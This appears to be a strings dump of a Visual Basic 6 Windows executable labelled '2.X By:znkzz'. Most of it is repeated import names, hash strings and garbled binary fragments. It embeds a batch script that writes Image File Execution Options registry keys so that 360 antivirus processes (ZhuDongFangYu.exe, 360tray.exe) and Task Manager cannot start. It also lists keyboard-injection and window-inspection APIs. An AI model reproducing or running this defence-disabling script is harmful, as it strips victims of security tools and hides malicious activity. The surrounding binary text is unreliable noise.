__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
8873414D6F5B75AB87F38154C7B905CF
EEBF93AC4FEB29C8F93383A09026893C
D38CC0184E669F995CA57A9F446F0F1E
6C5692E410E692EEC72ED9822D257322
7B211DCB9A85583BF7B5E1411CF1ADB5
2B1A502D5E87E910FA9DAAC890660C3D
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
